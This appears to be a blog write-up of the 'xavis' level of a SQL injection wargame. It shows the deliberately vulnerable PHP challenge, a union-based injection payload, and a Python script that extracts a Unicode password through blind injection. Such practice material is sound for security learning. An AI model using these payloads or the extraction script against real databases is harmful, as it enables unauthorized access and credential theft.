Post

LOS Lv.19 xavis

xavis



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
query : select id from prob_xavis where id='admin' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>






Solution



코드를 짜서 푸는 방법과 사용자 정의 변수를 이용한 방법이 있음.

사용자 정의 변수를 이용한 방법은 아래와 같음.
?pw=' or id='admin' and @a:=pw union select @a limit 0,1 %23


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url='https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

pw=''
bit_val=''


for i in range(1,4) :
    for k in range(7,30) :
        payload={'pw':"' or id='admin' and length(bin(ord(substr(pw,"+str(i)+",1))))="+str(k)+"#"}
        res=requests.get(url,headers=headers, params=payload, cookies=cookies)
        if "Hello admin" in res.text :
            bit_len=k   # 다 16bit임.
            break
    
    for j in range(1,bit_len+1) :
        payload={'pw':"' or id='admin' and substr(bin(ord(substr(pw,"+str(i)+",1))),"+str(j)+",1)=0 #"}
        res=requests.get(url,headers=headers, params=payload, cookies=cookies)
        if "Hello admin" in res.text :
            bit_val+='0'
        else :
            bit_val+='1'

    pw+=chr(int(bit_val,2))
    bit_val=''
    print("pw :",pw) 


패스워드가 바로 한글 즉, 유니코드임.

유니코드면 ascii코드 기반인 영문자가 아니라 멀티바이트.

따라서 비트 길이를 구할 때, ascii함수 대신 ord 함수 사용.

ord함수를 사용해야 함. ord 함수는 멀티바이트 문자도 계산해주기 때문임.






This post is licensed under CC BY 4.0 by the author.